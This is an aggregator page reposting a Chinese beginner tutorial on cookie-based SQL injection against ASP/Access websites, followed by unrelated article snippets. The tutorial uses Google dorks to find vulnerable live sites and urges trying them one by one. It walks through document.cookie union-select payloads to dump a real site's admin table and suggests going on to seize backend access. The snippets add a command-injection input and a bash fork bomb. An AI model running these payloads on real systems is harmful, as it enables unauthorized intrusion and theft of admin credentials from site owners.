当前位置： 首页 > news >正文

记录一次公益SRC的常见的cookie注入漏洞(适合初学者)

news 文章来源：https://blog.csdn.net/hackzkaq/article/details/133775295 2025/4/30 18:49:52

目录

 

谷歌语法-信息收集

cookie注入

实战演示

信息收集

SQL注入判断

查找字段数

爆破表名

输出结果

总结

                        hack渗透视频教程，扫码免费领

谷歌语法-信息收集

1.查找带有ID传参的网站（可以查找sql注入漏洞）
inurl:asp id=xx
2.查找网站后台（多数有登陆框，可以查找弱口令，暴力破解等漏洞）
site:http://xxxx.com “admin”
site:http://xx.com intext:管理
site:http://xx.com inurl:login
site:http://xx.com intitle:后台
3.查看上传漏洞
site:http://xx.com inurl:file
site:http://xx.com inurl:load
4.查找敏感文件
filetype:mdb|doc|xlsx|pdf

cookie注入

1、cookie注入：
cookie相当于访问者的身份证,后端php代码中的$_REQUEST[]来获取你的cookie,网站会获取Cookie传参然后和原有的SQL语句拼接再传入数据库,传入了数据库这样我们就有机可乘了，我们可以修改cookie值进入数据库中进行sql注入
Cookie注入在ASP网站中和低版本php中才会有，ASP常用的数据库是Accsess。

2、Access数据库：
access有强大的数据处理、统计分析能力，利用access的查询功能，可以方便地进行各类汇总、平均等统计，并且access数据库无库名。
access数据库在查询语句时和mysql不同，access比较严谨
所以要select 字段 from 表名
函数exists(select*from 表名)可以验证这个表名是否存在，这个表名还可以用burp来爆破

3、怎样修改cookie:
用burp抓包改
用插件改（需要自己编码一下）
阅览器自带js进行设置（document.cookie=’id=’+escape(“代码”)）

实战演示

信息收集

通过谷歌语法查找带有asp文件下的id传参，发现有很多带有id=1传参的网站，可以挨个试一试，id传参数可以任意修改。
发现一家id=104的网站

SQL注入判断

废话不多说直接判断是否存在sql注入,and 1=2发现网站报错，但是1=1页面显示正常，说明存在sql注入

  1. document.cookie='id='+escape("104 and 1=1")
  2. document.cookie='id='+escape("104 and 1=2")

查找字段数

直接查找一下字段数，发现字段数为10

 

 
  1. document.cookie='id='+escape("104 order by 10")
 

 

 

 

爆破表名
 

因为这是一个ACCESS数据库，没有库名，所以我们可以使用burp爆破出表名,这里就不给大家展示了。
 

 

 
  1. document.cookie='id='+escape("104 union select 1,2,3,4,5,6,7,8,9,10 from admin")
 

 

 

 


 发现存在admin表，且回显点是2和5
 

 

 

输出结果
 

使用偏移注入查看admin表的字段数并且把表里的内容显示出来
 

 

 
  1. document.cookie='id='+escape("104 union select 1,2,3,4,5,6,7,admin.* from admin")
  2. document.cookie='id='+escape("104 union select 1,2,3,admin.*,7,8,9,10 from admin")
 

 

 

 

 

 

总结
 

1.谷歌语法找到注入点
 2.判断注入是否存在
 3.通过cookie绕过注入
 4.爆破表名
 5.偏移注入查找表的字段数
 6.最后可以通过爆破目录查找登陆框，进入后台进一步渗透拿权限
这次实战记录很适合新手小白挖SRC，希望多多支持！~
 

                        hack渗透视频教程，扫码免费领
 

 















相关文章：
















记录一次公益SRC的常见的cookie注入漏洞(适合初学者)




目录 谷歌语法-信息收集 
cookie注入 
实战演示 
信息收集 
SQL注入判断 
查找字段数 
爆破表名 
输出结果 
总结 hack渗透视频教程，扫码免费领 谷歌语法-信息收集 
1.查找带有ID传参的网站（可以查找sql注入漏洞） inurl:asp idxx 2.查找网站后…...






编程日记
2023/10/11 20:35:28



















[ACTF2020 新生赛]Exec1




拿到题目，不知道是sql注入还是命令执行漏洞 
先ping一下主机 有回显，说明是命令执行漏洞 我们尝试去查看目录 
127.0.0.1|ls，发现有回显，目录下面有个index.php的文件 我们之间访问index.php 
输入127.0.0.1;cat index.php 
发现又…...






编程日记
2023/10/11 20:34:26



















DeepFace【部署 03】轻量级人脸识别和面部属性分析框架deepface在Linux环境下服务部署（conda虚拟环境+docker）




Linux环境下服务部署 1.使用虚拟环境[810ms]1.1 环境部署1.2 服务启动 2.使用Docker[680ms] 1.使用虚拟环境[810ms] 
1.1 环境部署 
Anaconda的安装步骤这里不再介绍，直接开始使用。 
# 1.创建虚拟环境
conda create -n deepface python3.9.18# 2.激活虚拟环境
cond…...






编程日记
2023/10/11 20:33:25



















vuex的求和案例和mapstate，mapmutations，mapgetters




main.js 
import Vue from vue
import App from ./App.vue
//引入vuex
import Vuex from vuex
//引入store
import store from ./store/indexVue.config.productionTip  falsenew Vue({el:"#app",render: h > h(App),store,beforeCreate(){Vue.prototype.$bus  th…...






编程日记
2023/10/11 20:32:23



















Docker 网络访问原理解密




How Container Networking Works: Practical Explanation 
这篇文章讲得非常棒，把docker network讲得非常清晰。  
分为三个部分： 
1）docker 内部容器互联。 
2）docker 容器 访问 外部root 网络空间。 
3）外部网络空间…...






编程日记
2023/10/11 20:31:22



















统信UOS离线安装nginx




注意：安装之前一定要切换到开发者模式，不然会提示没有权限 
1 安装所依赖的包 
gcc
gcc-c
openssl
PCRE
zlib 
我平时有一个gcc的包，我会直接把里面的包全部安装一遍,下面是地址 
链接: https://pan.baidu.com/s/1Ty35uQx_7iliduohkuNWPQ?pw…...






编程日记
2023/10/11 20:30:21



















机器学习基础-手写数字识别




手写数字识别，计算机视觉领域的Hello World利用MNIST数据集，55000训练集，5000验证集。Pytorch实现神经网络手写数字识别感知机与神经元、权重和偏置、神经网络、输入层、隐藏层、输出层mac gpu的使用本节就是对Pytorch可以做的事情有个直观的…...






编程日记
2023/10/11 20:29:19



















idea 插件推荐(持续更新)




文章目录 Material Theme UIcodeium(建议有梯子的使用)Key Promoter XCodeGlanceRainbow BracketsMarkdown NavigatorRestfulToolkitString Manipulation Material Theme UI 谁不想拥有一款狂拽炫酷 吊炸天 的编码主题呢,给你推荐Material Theme UI Plugin  Material Theme UI是…...






编程日记
2023/10/11 20:28:19



















实现Promise所有核心功能和方法




一直以来对Promise只是会用简单的方法，例如then，catch等，对于其余各种方法也只是简单了解，这次想要通过实现Promise来加深对Promise的使用 话不多说，直接开始，简单粗暴一步步来 一：了解Promise …...






编程日记
2023/10/11 20:27:18



















学习总结1




Vue的学习 
Vue是一套用于构建用户界面的渐进式JavaScript框架； 
Vue中关键的几个概念：组件化，MVVM，响应式，和生命周期。 
1. 组件化： 在Vue框架中，允许你将界面拆分为小的，独立的可…...






编程日记
2023/10/11 20:26:17



















使用 Apache Camel 和 Quarkus 的微服务（二）




【squids.cn】 全网zui低价RDS，免费的迁移工具DBMotion、数据库备份工具DBTwin、SQL开发工具等 
在本系列的第一部分，我们看到了一个简化版的基于微服务的转账应用程序，该应用程序使用Apache Camel和AWS SDK（软件开发套件&#xf…...






编程日记
2023/10/11 20:25:15



















pid-limit参数实验




fork炸弹命令 
:(){ :|:& };: 
可以看到，如果docker没有限制，会遭到fork炸弹恶意  参考 
https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/...






编程日记
2023/10/11 20:24:13



















jvm--执行引擎




文章目录 1. 执行引擎的工作流程2. 解释器、JIT及时编译器3. 热点代码及探测技术4. HotSpotVM 中 JIT 分类 执行引擎属于 JVM 的下层，里面包括解释器、及时编译器、垃圾回收器 JVM 的主要任务是负责 
装载字节码到其内部，但字节码并不能够直接运行在操作…...






编程日记
2023/10/11 20:23:11



















day13|二叉树理论




一、二叉树的定义 //定义一个二叉树：使用链式存储
public class TreeNode {int val; // 节点的值TreeNode left; // 左子节点TreeNode right; // 右子节点public TreeNode() {}// 构造函数，初始化节点值public TreeNode(int val){this.valval;}// 构造函…...






编程日记
2023/10/11 20:21:09



















php+html+js+ajax实现文件上传




phphtmljsajax实现文件上传 目录 
一、表单单文件上传 
1、上传页面 
2、接受文件上传php 
二、表单多文件上传 
1、上传页面 
2、接受文件上传php  
三、表单异步xhr文件上传 
1、上传页面 
2、接受文件上传php   
四、表单异步ajax文件上传  
1、上传页面 
2、接受文件上传ph…...






编程日记
2023/10/11 20:20:08



















日期时间参数，格式配置（SpringBoot）




介绍 
在SpringBoot项目中，接口中的日期和时间类型的参数，配置格式。 
日期格式 
接口中常用的日期时间格式有两种： 
字符串（比如：yyyy-MM-dd HH:mm:ss）时间戳（比如：1696839876955&a…...






编程日记
2023/10/11 20:19:06



















JAVA 泛型的定义以及使用




泛型类 
/*** <T> 为该类定义泛型&#xff0c;可以是一个或多个<T,...>*     定义的泛型可以在类中作为&#xff1a;*     类变量类型&#xff1a; T data*     类方法的入参以及返回类型  public void setData(T data)&#xff0c;public T getData();次数以set&a…...






编程日记
2023/10/11 20:18:06



















Day-08 基于 Docker安装 Nginx 镜像-负载均衡




1、反向代理后&#xff0c;自然而然就引出了负载均衡,下面简单实现负载均衡的效果; 2、实现该效果需要再添加一个 Nginx &#xff0c;所以要增加一个文件夹。 /home|---mutou|----nginx|----conf.d|----html|----conf.d2|----html3 1.创建 html3 文件夹&#xff0c; 新建 index…...






编程日记
2023/10/11 20:17:04



















3、在 CentOS 8 系统上安装 PostgreSQL 15.4




PostgreSQL&#xff0c;作为一款备受欢迎的开源关系数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;已经存在了三十多年的历史。它提供了SQL语言支持&#xff0c;用于管理数据库和执行CRUD操作&#xff08;创建、读取、更新、删除&#xff09;。 
由于其卓越的健壮性…...






编程日记
2023/10/11 20:16:01



















sap 一次性供应商 供应商账户组 临时供应商 ＜转载＞




原文链接&#xff1a;https://blog.csdn.net/xianshengsun/article/details/132620593 sap中有一次性供应商这个名词&#xff0c;一次性供应商和非一次性供应商又有什么区别呢&#xff1f; 有如何区分一次性供应商和非一次性供应商呢&#xff1f; 
1 区分一次性供应商和非一次性…...






编程日记
2023/10/11 20:15:00



















总结html5中常见的选择器




HTML5并没有引入新的选择器类型&#xff0c;它仍然使用CSS选择器来选择和操作HTML元素。HTML5中仍然可以使用CSS2和CSS3中定义的各种选择器。以下是HTML5中常见的选择器类型&#xff1a; 
1. 元素选择器&#xff08;Element Selector&#xff09;&#xff1a;使用元素名称作为选…...






编程日记
2023/10/11 20:13:59



















Java基础面试-JDK JRE JVM




详细解释 
JDK&#xff08;Java Devalpment Kit&#xff09;java 开发工具 
JDK是Java开发工具包&#xff0c;它是Java开发者用于编写、编译、调试和运行Java程序的核心组件。JDK包含了Java编程语言的开发工具和工具集&#xff0c;以及Java标准库和其他一些必要的文件。JDK中的…...






编程日记
2023/10/11 20:12:58



















OpenCV实现图像傅里叶变换




傅里叶变换 
dftcv.dft(img_float32,flagscv.DFT_COMPLEX_OUTPUT): 
flags:标志位&#xff0c;指定变换类型&#xff0c;cv.DFT_COMPLEX_OUTPUT会返回复数结果。 
傅立叶变换&#xff0c;将输入的图像从空间域转换到频率域。 
返回结果: 此函数返回一个复杂数值数组&#xff0c…...






编程日记
2023/10/11 20:11:58



















快手新版本sig3参数算法还原




Frida Native层主动调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81…...






编程日记
2023/10/11 20:10:57



















Linux 安全 - LSM机制




文章目录 前言一、LSM起源二、LSM简介2.1 MAC2.2 LSM特征 三、Major and Minor LSMs3.1 Major LSMs3.2 Minor LSMs3.3 BPF LSM 四、LSM 框架五、LSM Capabilities Module六、LSM hooks 说明参考资料 前言 
在这两篇文章中介绍了 Linux 安全机制 Credentials &#xff1a; 
Linu…...






编程日记
2023/10/11 20:08:55



















uni-app：实现简易自定义下拉列表




效果  代码 
<template><view><view class"dropdown-trigger" tap"showDropdown">{{ selectedItem }}</view><view class"dropdown-list" v-if"showList"><view class"dropdown-item" v-f…...






编程日记
2023/10/11 20:07:54



















排序算法——直接插入排序




一、介绍         插入排序就是将前两个元素排好&#xff0c;再将第三个元素通过与前边的元素比较后插入适当的位置&#xff0c;再将第四个元素插入&#xff0c;不断重复插入与前边元素比较的操作&#xff0c;直到将元素都排列好。 
演示如下&#xff1a; 视频演示&#xff1a;…...






编程日记
2023/10/11 20:05:50



















手动抄表和自动抄表优缺点对比




随着科技的发展&#xff0c;自动抄表技术已经越来越成熟&#xff0c;被广泛应用于各个领域。然而&#xff0c;手动抄表在一些特定场景下仍然具有一定的优势。本文将从手动抄表和自动抄表的优缺点入手&#xff0c;对比分析它们的应用场景和使用价值。 1.成本低&#xff1a;手动抄…...






编程日记
2023/10/11 20:04:48



















HiSilicon352 android9.0 emmc添加新分区




添加新分区 
从emmc中单独划分出一个分区&#xff0c;用来存储相关数据&#xff08;可用于存储照片&#xff0c;视频&#xff0c;音乐和文档等&#xff09;或者系统日志log&#xff0c;从而不影响到其他分区。 实现方法&#xff1a; 
device/hisilicon/Hi3751V350/etc/Hi3751V3…...






编程日记
2023/10/11 20:03:47



















networkX-04-查找k短路




文章目录 1.构建图2.使用networkX查找最短路径3.自己构建方法 教程仓库地址&#xff1a;github networkx_tutorial import networkx as nx
import matplotlib.pyplot as plt1.构建图 
# 创建有向图
G  nx.DiGraph()# 添加带权重的边
edges  [(0, 1, 1), (0, 2, 2), (1, 2, 1), …...






编程日记
2023/10/11 20:02:45